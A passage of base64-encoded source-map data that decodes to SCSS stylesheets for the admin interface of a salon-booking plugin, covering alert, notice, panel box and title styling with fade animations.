ZXItZXZlbnRzOiBhdXRvO1xuXHR9XG5cdHRvIHtcblx0XHRvcGFjaXR5OiAwO1xuXHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHR9XG59XG4vLy8vLy8vLy8vLy9cbi5zbG4tYWxlcnQsXG4jc2xuLXNhbG9uIC5hbGVydCB7XG5cdGRpc3BsYXk6IGlubGluZS1mbGV4O1xuXHRmbGV4LWRpcmVjdGlvbjogcm93LXJldmVyc2U7XG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0Ym9yZGVyOiBub25lO1xuXHRjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9vaztcblx0dGV4dC1hbGlnbjogY2VudGVyO1xuXHRib3JkZXItcmFkaXVzOiAwO1xuXHQmOmFmdGVyIHtcblx0XHRAaW5jbHVkZSBmb250LWljb24tLW0oMS41ZW0pO1xuXHRcdGRpc3BsYXk6IGlubGluZS1ibG9jaztcblx0XHRtYXJnaW4tcmlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oMTBweCk7XG5cdFx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmllMTEoKSB7XG5cdFx0XHRmb250LXNpemU6IDE4cHg7XG5cdFx0fVxuXHR9XG5cdC8qIEZJWCAwOTIwMjMgKi9cblx0Ji5zbG4tYWxlcnQtLW9rIHtcblx0XHQmOmFmdGVyIHtcblx0XHRcdGNvbnRlbnQ6IFwiXFxmMDBjXCI7XG5cdFx0fVxuXHR9XG5cblx0Ji5zbG4tYWxlcnQtLXdhcm5pbmcge1xuXHRcdGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX3dhcm5pbmc7XG5cdFx0Zm9udC1zaXplOiAxLjJlbTtcblx0XHQvKiBGSVggMDkyMDIzICovXG5cdFx0JjphZnRlciB7XG5cdFx0XHRjb250ZW50OiBcIlxcZjA2YVwiO1xuXHRcdH1cblx0fVxuXG5cdCYuc2xuLWFsZXJ0LS1lcnJvciB7XG5cdFx0Y29sb3I6IHJlZDtcblx0XHRmb250LXNpemU6IDEuMmVtO1xuXHRcdCY6YWZ0ZXIge1xuXHRcdFx0Y29udGVudDogXCJcXGYwNmFcIjtcblx0XHR9XG5cdH1cblxuXHQmLnNsbi1hbGVydC0tb25yZW1vdmUge1xuXHRcdHBhZGRpbmc6IDIuNmVtIDFlbSAwLjZlbSAxZW07XG5cdFx0bWFyZ2luOiAxZW0gMDtcblx0fVxuXHQmLnNsbi1hbGVydC0tZmFkZW91dCB7XG5cdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdHRvcDogc2V0dGluZ3MtbWl4aW5zLnJlbSgtN3B4KTtcblx0XHRsZWZ0OiAwO1xuXHRcdHdpZHRoOiBmaXQtY29udGVudDtcblx0XHRoZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNzJweCk7XG5cdFx0bWFyZ2luOiAwO1xuXHRcdHBhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgyNHB4KTtcblx0XHRsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg3MnB4KTtcblx0XHRvcGFjaXR5OiAwO1xuXHRcdGFuaW1hdGlvbi1kdXJhdGlvbjogM3M7XG5cdFx0YW5pbWF0aW9uLW5hbWU6IGZhZGVPdXQ7XG5cdFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdFx0ei1pbmRleDogMjtcblx0XHQrICoge1xuXHRcdFx0ei1pbmRleDogMTtcblx0XHR9XG5cdH1cblx0Ji5zbG4tYWxlcnQtLWZhZGVpbm91dCB7XG5cdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdHRvcDogc2V0dGluZ3MtbWl4aW5zLnJlbSgtN3B4KTtcblx0XHRsZWZ0OiAwO1xuXHRcdHdpZHRoOiBmaXQtY29udGVudDtcblx0XHRoZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNzJweCk7XG5cdFx0bWFyZ2luOiAwO1xuXHRcdHBhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgyNHB4KTtcblx0XHRsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg3MnB4KTtcblx0XHRvcGFjaXR5OiAwO1xuXHRcdGFuaW1hdGlvbi1kdXJhdGlvbjogMjUwMG1zO1xuXHRcdGFuaW1hdGlvbi1uYW1lOiBmYWRlSW5PdXQ7XG5cdFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdFx0ei1pbmRleDogMjtcblx0XHQrICoge1xuXHRcdFx0ei1pbmRleDogMTtcblx0XHR9XG5cdH1cblx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcblx0XHR3aGl0ZS1zcGFjZTogbm93cmFwO1xuXHR9XG59XG4uc2xuLWJveC0tbWFpbiAuc2xuLWFsZXJ0LnNsbi1hbGVydC0tZmFkZW91dCB7XG5cdGJhY2tncm91bmQtY29sb3I6ICNmZmY7XG59XG5cbi8vLy8gTlUgLy8gREVDRU1CRVIgMjAyMyAvLy8vIGZvcm0tZ3JvdXAgc2xuLW5vdGljZSBub3RpY2Utd2FybmluZ1xuI3Nsbi1zYWxvbi0tYWRtaW4ge1xuXHQuc2xuLW5vdGljZSB7XG5cdFx0ZGlzcGxheTogZ3JpZDtcblx0XHRncmlkLXRlbXBsYXRlLWNvbHVtbnM6IGF1dG8gY2FsYyg4MCUgLSAxcmVtKSAxOCU7XG5cdFx0Z2FwOiAwLjVyZW07XG5cdFx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0XHRtYXJnaW4tYm90dG9tOiAycmVtO1xuXHRcdHBhZGRpbmc6IDFyZW0gMS41cmVtIDFyZW0gMXJlbTtcblx0XHRib3JkZXItcmFkaXVzOiAwLjMxMjVyZW07XG5cdFx0Zm9udC1zaXplOiAwLjg3NXJlbTtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMtbnUuc2xuLWFkbWluX251Y29sb3ItLXdhcm5pbmcoMSk7XG5cdFx0Y29sb3I6IGNvbG9ycy1udS5zbG4tYWRtaW5fbnVjb2xvci0tdGV4dC0tZGFyaygxKTtcblx0XHRAbWVkaWEgKG1pbi13aWR0aDogMTIwMHB4KSB7XG5cdFx0XHR3aWR0aDogNzUlO1xuXHRcdH1cblx0XHRAbWVkaWEgKG1pbi13aWR0aDogMTgwMHB4KSB7XG5cdFx0XHR3aWR0aDogNTAlO1xuXHRcdH1cblx0XHQuc2xuLW5vdGljZS0taWNvbiB7XG5cdFx0XHRncmlkLWNvbHVtbjogMTtcblx0XHRcdCY6OmJlZm9yZSB7XG5cdFx0XHRcdGNvbnRlbnQ6IFwiXFxmMDcxXCI7XG5cdFx0XHRcdGRpc3BsYXk6IGlubGluZS1ibG9jaztcblx0XHRcdFx0QGV4dGVuZCAlZm9udC1pY29uO1xuXHRcdFx0XHRmb250LXNpemU6IDFlbTtcblx0XHRcdFx0ei1pbmRleDogMjAwO1xuXHRcdFx0XHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMudHJhbnNpdGlvbihiYWNrZ3JvdW5kLWNvbG9yIDIwMG1zKTtcblx0XHRcdH1cblx0XHR9XG5cdFx0LnNsbi1ub3RpY2UtLWNvbnRlbnQge1xuXHRcdFx0Z3JpZC1jb2x1bW46IDI7XG5cdFx0XHRmb250LXdlaWdodDogMzAwO1xuXHRcdH1cblx0XHQuc2xuLW5vdGljZS0tYWN0aW9uIHtcblx0XHRcdGdyaWQtY29sdW1uOiAzO1xuXHRcdFx0dGV4dC1hbGlnbjogcmlnaHQ7XG5cdFx0XHRhIHtcblx0XHRcdFx0Zm9udC13ZWlnaHQ6IDQwMDtcblx0XHRcdFx0Y29sb3I6IGN1cnJlbnRDb2xvcjtcblx0XHRcdFx0ZGlzcGxheTogaW5saW5lLWJsb2NrO1xuXHRcdFx0XHRwYWRkaW5nOiAwLjVlbSAwLjhlbTtcblx0XHRcdFx0Ym9yZGVyLXJhZGl1czogMC4zMTI1cmVtO1xuXHRcdFx0XHR0ZXh0LWFsaWduOiBjZW50ZXI7XG5cdFx0XHRcdGJvcmRlcjogMXB4IHNvbGlkO1xuXHRcdFx0XHRib3JkZXItY29sb3I6IHRyYW5zcGFyZW50O1xuXHRcdFx0XHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMudHJhbnNpdGlvbihib3JkZXItY29sb3IgMjAwbXMpO1xuXHRcdFx0XHQmOmhvdmVyIHtcblx0XHRcdFx0XHRib3JkZXItY29sb3I6IGNvbG9ycy1udS5zbG4tYWRtaW5fbnVjb2xvci0tdGV4dC0tZGFyaygwLjQpO1xuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG59XG4iLCJAdXNlIFwiLi4vYWRtaW5fY29uZmlnXCI7XG5AdXNlIFwiLi4vdHlwby1hZG1pblwiO1xuXG5AdXNlIFwiLi4vc2V0dGluZ3MtbWl4aW5zXCI7XG4uc2xuLWJveCB7XG5cdHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oMTVweCk7XG5cdG1hcmdpbi1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oMzBweCk7XG5cdG1hcmdpbi1sZWZ0OiAwO1xuXHRtYXJnaW4tcmlnaHQ6IDA7XG5cdGZvbnQtc2l6ZTogdHlwby1hZG1pbi4kZm9udC1zaXplLWJhc2U7XG5cdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcblx0XHRwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDE3cHgpO1xuXHR9XG5cdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wKSB7XG5cdFx0cGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KSBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpIDBcblx0XHRcdHNldHRpbmdzLW1peGlucy5yZW0oMzBweCk7XG5cdH1cblx0Ji5zbG4tY2FsZW5kYXItdmlldyB7XG5cdFx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcblx0XHRcdHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oMzBweCk7XG5cdFx0XHQmLnNsbi1jYWxlbmRhci12aWV3IHtcblx0XHRcdFx0cGFkZGluZy10b3A6IDA7XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5cdCYuc2xuLWJveC0tcGIge1xuXHRcdHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oMzBweCk7XG5cdH1cblx0Ji5zbG4tYm94LS1mbGF0Ym90dG9tIHtcblx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHR9XG5cdHAge1xuXHRcdEBleHRlbmQgJWZvbnQtbWVkaXVtO1xuXHRcdEBleHRlbmQgJWZvbnQtY2xfc3RhbmRhcmQtLW1lZGl1bTtcblx0XHRmb250LXdlaWdodDogNDAwO1xuXHRcdHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oMTBweCkgc2V0dGluZ3MtbWl4aW5zLnJlbSgxNnB4KTtcblx0XHRtYXJnaW46IDA7XG5cdH1cbn1cbi5zbG4tYm94LS1tYWluIHtcblx0YmFja2dyb3VuZC1jb2xvcjogI2ZmZjtcblx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLnRyYW5zaXRpb24oYmFja2dyb3VuZC1jb2xvciAyNTBtcyk7XG5cdCYuc2xuLWJveC0taW5mby12aXNpYmxlIHtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX3dhcm5pbmctLWxpZ2h0O1xuXHR9XG5cdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5jbGVhcmZpeCgpO1xuXHQmLnNsbi1ib3gtLW1haW4tLXRyYW5zcCB7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG5cdH1cblx0Ji5zbG4tYm94LS1oYXNwYW5lbCB7XG5cdFx0LnNsbi1ib3gtdGl0bGUuc2xuLWJveF9fcGFuZWx0aXRsZSB7XG5cdFx0XHR0cmFuc2l0aW9uOiBhbGwgMjUwbXM7XG5cdFx0fVxuXHRcdGJhY2tncm91bmQtY29sb3I6IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC42KTtcblx0XHR0cmFuc2l0aW9uOiBhbGwgMjUwbXM7XG5cdFx0Ji5zbG4tYm94LS1oYXNwYW5lbC0tb3BlbiB7XG5cdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiByZ2JhKDI1NSwgMjU1LCAyNTUsIDEpO1xuXHRcdFx0LnNsbi1ib3gtdGl0bGUuc2xuLWJveF9fcGFuZWx0aXRsZSB7XG5cdFx0XHRcdGZvbnQtc2l6ZTogMS4wNXJlbTtcblx0XHRcdFx0dHJhbnNpdGlvbjogYWxsIDI1MG1zO1xuXHRcdFx0XHQmOjphZnRlciB7XG5cdFx0XHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVZKC01MCUpIHJvdGF0ZSgxODBkZWcpO1xuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0fVxuXHRcdEBtZWRpYSAoaG92ZXI6IGhvdmVyKSBhbmQgKHBvaW50ZXI6IGZpbmUpIHtcblx0XHRcdCY6aG92ZXIge1xuXHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiByZ2JhKDI1NSwgMjU1LCAyNTUsIDEpO1xuXHRcdFx0XHQuc2xuLWJveC10aXRsZS5zbG4tYm94X19wYW5lbHRpdGxlIHtcblx0XHRcdFx0XHRmb250LXNpemU6IDEuMDVyZW07XG5cdFx0XHRcdFx0dHJhbnNpdGlvbjogYWxsIDI1MG1zO1xuXHRcdFx0XHRcdCY6OmFmdGVyIHtcblx0XHRcdFx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtNTAlKSByb3RhdGUoMTgwZGVnKTtcblx0XHRcdFx0XHR9XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHR9XG5cdH1cbn1cblxuYm9keTpub3QoLnNhbG9uX3BhZ2Vfc2Fsb24tc2V0dGluZ3MpOm5vdCgucG9zdC10eXBlLXNsbl9hdHRlbmRhbnQpXG5cdC5zbG4tYm94LS1tYWluXG5cdC5zbG4tYm94LS1oYXNwYW5lbCB7XG5cdC5zbG4tYm94X19wYW5lbHRpdGxlIHtcblx0XHRtYXJnaW46IHNldHRpbmdzLW1peGlucy5yZW0oLTE1cHgpO1xuXHRcdHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oMTVweCk7XG5cdFx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldCkge1xuXHRcdFx0bWFyZ2luOiBzZXR0aW5ncy1taXhpbnMucmVtKC0xN3B4KTtcblx0XHRcdHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oMTdweCk7XG5cdFx0XHQmOjphZnRlciB7XG5cdFx0XHRcdHJpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDE3cHgpO1xuXHRcdFx0fVxuXHRcdH1cblx0XHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuXHRcdFx0bWFyZ2luOiBzZXR0aW5ncy1taXhpbnMucmVtKC0zMHB4KSBzZXR0aW5ncy1taXhpbnMucmVtKC0zMHB4KSAwXG5cdFx0XHRcdHNldHRpbmdzLW1peGlucy5yZW0oLTMwcHgpO1xuXHRcdFx0cGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcblx0XHRcdCY6OmFmdGVyIHtcblx0XHRcdFx0cmlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oMTdweCk7XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5cdCY6bm90KC5zbG4tYm94LS1oYXNwYW5lbC0tb3Blbikge1xuXHRcdG1hcmdpbi1ib3R0b206IDA7XG5cdFx0Ly9wYWRkaW5nOiAwO1xuXHRcdGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHRlci0tb3A7XG5cdFx0Ym9yZGVyOiAxcHggc29saWQgdHJhbnNwYXJlbnQ7XG5cdFx0QG1lZGlhIChob3ZlcjogaG92ZXIpIGFuZCAocG9pbnRlcjogZmluZSkge1xuXHRcdFx0Jjpob3ZlciB7XG5cdFx0XHRcdGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHRlcjtcblx0XHRcdH1cblx0XHR9XG5cdH1cblx0Ji5zbG4tYm94LS1oYXNwYW5lbC0tb3BlbiB7XG5cdFx0Ym9yZGVyOiAxcHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcblx0fVxufVxuLnNsbi1ib3gtLW1haW4tLXNtYWxsIHtcblx0bWluLWhlaWdodDogMjYwcHg7XG59XG4uc2xuLWJveC0tc3ViIHtcblx0cGFkZGluZy10b3A6IHNldHRpbmdzLW1peGlucy5yZW0oMTVweCk7XG5cdHBhZGRpbmctYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDE1cHgpO1xuXHRtYXJnaW4tYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xuXHRib3JkZXI6IHNldHRpbmdzLW1peGlucy5yZW0oMnB4KSBzb2xpZCBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuXHQmLnNsbi1ib3gtLXBheW1lbnQtbW9kZS1kYXRhIHtcblx0XHRtYXJnaW4tdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xuXHR9XG59XG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLWJveC0tc3ViLnJvdyB7XG5cdG1hcmdpbi1yaWdodDogMDtcblx0bWFyZ2luLWxlZnQ6IDA7XG5cdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcblx0XHRtYXJnaW4tcmlnaHQ6IC0xMHB4O1xuXHRcdG1hcmdpbi1sZWZ0OiAtMTBweDtcblx0fVxuXHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuXHRcdG1hcmdpbi1yaWdodDogLTE1cHg7XG5cdFx0bWFyZ2luLWxlZnQ6IC0xNXB4O1xuXHR9XG59XG4uc2xuLWJveF9fbWVnYWJ0bl93cmFwcGVyICsgLnNsbi1ib3hfX21lZ2FidG5fd3JhcHBlciB7XG5cdG1hcmdpbi10b3A6IHNldHRpbmdzLW1peGlucy5yZW0oMzBweCk7XG5cdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcblx0XHRtYXJnaW4tdG9wOiAwO1xuXHR9XG59XG5Aa2V5ZnJhbWVzIHNsaWRlaW4ge1xuXHRmcm9tIHtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuXHR9XG5cdDI1JSB7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcblx0fVxuXHR0byB7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcblx0fVxufVxuLnNsbi1ib3gtLWFwcGVhcmVkIHtcblx0YW5pbWF0aW9uLWR1cmF0aW9uOiA1MDBtcztcblx0YW5pbWF0aW9uLW5hbWU6IHNsaWRlaW47XG59XG4uc2xuLWJveC0tYXBwZWFyZWQtLWRlbGF5ZWQge1xuXHRhbmltYXRpb24tZHVyYXRpb246IDUwMG1zO1xuXHRhbmltYXRpb24tbmFtZTogc2xpZGVpbjtcblx0YW5pbWF0aW9uLWRlbGF5OiAyNTBtcztcbn1cbi5zbG4tYm94LS1mYWRlaW4ge1xuXHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuZmFkZWluKDI1MG1zKTtcbn1cbi5zbG4tYm94LW1haW5pbmZvIHtcblx0QGV4dGVuZCAlZm9udC1tZWRpdW07XG5cdEBleHRlbmQgJWZvbnQtY2xfc3RhbmRhcmQ7XG5cdHBhZGRpbmctYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDE1cHgpO1xuXHRwIHtcblx0XHRAZXh0ZW5kICVmb250LWJpZztcblx0XHRAZXh0ZW5kICVmb250LWNsX3N0YW5kYXJkO1xuXHRcdG1hcmdpbi10b3A6IDA7XG5cdH1cblx0Ji5hbGlnbi10b3Age1xuXHRcdGRpc3BsYXk6IGdyaWQ7XG5cdFx0Z3JpZC10ZW1wbGF0ZTogbWlubWF4KDJyZW0sIDFmcikgYXV0byAvIDFmcjtcblx0XHQuc2xuLWlucHV0LWhlbHAsXG5cdFx0LnNsbi1ib3gtaW5mbyB7XG5cdFx0XHRncmlkLWNvbHVtbjogMTtcblx0XHRcdGdyaWQtcm93OiAyO1xuXHRcdFx0cGFkZGluZy10b3A6IDA7XG5cdFx0fVxuXHRcdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcblx0XHRcdC8vcGFkZGluZy10b3A6IGVtKDMwcHgpO1xuXHRcdH1cblx0fVxufVxuLy8gLnNsbi1zd2l0Y2ggKyAuc2xuLWJveC1tYWluaW5mbyxcbi8vIC5zbG4tY2hlY2tib3ggKyAuc2xuLWJveC1tYWluaW5mbyxcbi8vIC5zbG4taW5wdXQtLXNpbXBsZSArIC5zbG4tYm94LW1haW5pbmZvLFxuLy8gLnNsbi1yYWRpb2JveCArIC5zbG4tYm94LW1haW5pbmZvIHtcbi8vIFx0bWFyZ2luLXRvcDogc2V0dGluZ3MtbWl4aW5zLnJlbSgtMTdweCk7XG4vLyBcdEBpbmNsdWRlIGJwKGRlc2t0b3ApIHtcbi8vIFx0XHRtYXJnaW4tdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKC0yNHB4KTtcbi8vIFx0fVxuLy8gfVxuLmFsaWduLXRvcC0taW5wdXQge1xuXHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0KSB7XG5cdFx0cGFkZGluZy10b3A6IGVtKDE1cHgpO1xuXHR9XG59XG4uYWxpZ24tY2VudGVyIHtcblx0ZGlzcGxheTogZmxleDtcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcbn1cbi5zbG4tYm94LXRpdGxlIHtcblx0QGV4dGVuZCAlZm9udC1jbF9tYWluO1xuXHRwYWRkaW5nOiAwIDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgxNXB4KTtcblx0QGV4dGVuZCAlZm9udC1iaWdnZXI7XG5cdGZvbnQtd2VpZ2h0OiA0MDA7XG5cdCYuc2xuLWJveF9fcGFuZWx0aXRsZSB7XG5cdFx0bWFyZ2luOiBzZXR0aW5ncy1taXhpbnMucmVtKC0xNXB4KTtcblx0XHRwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDE1cHgpO1xuXHRcdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0XHRjdXJzb3I6IHBvaW50ZXI7XG5cdFx0LyogRklYIDA5MjAyM1xuICAgICAgICAmOjphZnRlciB7XG4gICAgICAgICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgICAgICAgIHdpZHRoOiAwLjgzMzMzcmVtO1xuICAgICAgICAgICAgaGVpZ2h0OiAwLjgzMzMzcmVtO1xuICAgICAgICAgICAgY29udGVudDogXCJcXGYwNzhcIjtcbiAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgICAgIHRvcDogNTAlO1xuICAgICAgICAgICAgcmlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oMTVweCk7XG4gICAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTUwJSk7XG4gICAgICAgICAgICBmb250LWZhbWlseTogXCJGb250QXdlc29tZVwiO1xuICAgICAgICAgICAgZm9udC1zaXplOiAwLjkxNjY3cmVtO1xuICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDkwMDtcbiAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAwLjgzMzMzcmVtO1xuICAgICAgICAgICAgY29sb3I6ICMwMDM1NTM7XG4gICAgICAgICAgICB0cmFuc2l0aW9uOiBhbGwgMTAwbXM7XG4gICAgICAgIH1cbiAgICAgICAgKi9cblx0XHRzcGFuLFxuXHRcdHNwYW4uYmxvY2sge1xuXHRcdFx0ZGlzcGxheTogbm9uZTtcblx0XHR9XG5cdFx0Ji5zbG4tYm94X19wYW5lbHRpdGxlLS1vcGVuIHtcblx0XHRcdG1hcmdpbi1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oMjFweCkgIWltcG9ydGFudDtcblx0XHRcdHNwYW4ge1xuXHRcdFx0XHRkaXNwbGF5OiBpbmxpbmU7XG5cdFx0XHR9XG5cdFx0XHRzcGFuLmJsb2NrIHtcblx0XHRcdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0XHR9XG5cdFx0XHQmOjphZnRlciB7XG5cdFx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtNTAlKSByb3RhdGUoMTgwZGVnKTtcblx0XHRcdH1cblx0XHR9XG5cdFx0Jjpob3ZlciB7XG5cdFx0fVxuXHRcdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcblx0XHRcdG1hcmdpbjogc2V0dGluZ3MtbWl4aW5zLnJlbSgtMTdweCk7XG5cdFx0XHRwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDE3cHgpO1xuXHRcdFx0Jjo6YWZ0ZXIge1xuXHRcdFx0XHRyaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxN3B4KTtcblx0XHRcdH1cblx0XHR9XG5cdFx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcblx0XHRcdG1hcmdpbjogc2V0dGluZ3MtbWl4aW5zLnJlbSgtMzBweCkgc2V0dGluZ3MtbWl4aW5zLnJlbSgtMzBweCkgMFxuXHRcdFx0XHRzZXR0aW5ncy1taXhpbnMucmVtKC0zMHB4KTtcblx0XHRcdHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oMzBweCk7XG5cdFx0XHQmOjphZnRlciB7XG5cdFx0XHRcdHJpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDE3cHgpO1xuXHRcdFx0fVxuXHRcdH1cblx0fVxuXHRzcGFuIHtcblx0XHRAZXh0ZW5kICVmb250LWJpZztcblx0XHRAZXh0ZW5kICVmb250LWNsX3N0YW5kYXJkO1xuXHRcdCY6bm90KGJsb2NrKSB7XG5cdFx0XHRwYWRkaW5nLWxlZnQ6IHNldHRpbmdzLW1peGlucy5yZW0oMTBweCk7XG5cdFx0XHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAocGhvbmUpIHtcblx0XHRcdFx0cGFkZGluZzogMDtcblx0XHRcdH1cblx0XHR9XG5cdFx0Ji5ibG9jayB7XG5cdFx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRcdHBhZGRpbmctbGVmdDogMDtcblx0XHR9XG5cdFx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHBob25lKSB7XG5cdFx0XHRkaXNwbGF5OiBibG9jaztcblx0XHR9XG5cdH1cbn1cbi5zbG4tYm94LXRpdGxlLS1zZWMge1xuXHRAZXh0ZW5kICVmb250LWNsX21haW47XG5cdHBhZGRpbmc6IDAgMCBzZXR0aW5ncy1taXhpbnMucmVtKDEwcHgpO1xuXHRAZXh0ZW5kICVmb250LWJpZ2dlcjtcblx0Zm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDIxcHgpO1xuXHRmb250LXdlaWdodDogNDAwO1xuXHRzcGFuIHtcblx0XHRAZXh0ZW5kICVmb250LWJpZztcblx0XHRAZXh0ZW5kICVmb250LWNsX3N0YW5kYXJkO1xuXHRcdCY6bm90KGJsb2NrKSB7XG5cdFx0XHRwYWRkaW5nLWxlZnQ6IHNldHRpbmdzLW1peGlucy5yZW0oMTBweCk7XG5cdFx0XHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAocGhvbmUpIHtcblx0XHRcdFx0cGFkZGluZzogMDtcblx0XHRcdH1cblx0XHR9XG5cdFx0Ji5ibG9jayB7XG5cdFx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRcdHBhZGRpbmctbGVmdDogMDtcblx0XHR9XG5cdFx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHBob25lKSB7XG5cdFx0XHRkaXNwbGF5OiBibG9jaztcblx0XHR9XG5cdH1cbn1cbi5zbG4tYm94LXRpdGxlLS10ZXIge1xuXHRAZXh0ZW5kICVmb250LWNsX21haW47XG5cdG1hcmdpbjogc2V0dGluZ3MtbWl4aW5zLnJlbSgyNHB4KSAwO1xuXHRwYWRkaW5nOiAwO1xuXHRAZXh0ZW5kICVmb250LWJpZ2dlcjtcblx0bGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oMzBweCk7XG5cdGZvbnQtd2VpZ2h0OiA0MDA7XG59XG4uc2xuLWJveC10aXRsZS0tdGVyICsgLnNsbi1ib3gtdGl0bGUtLXRlciB7XG5cdC8vbWFyZ2l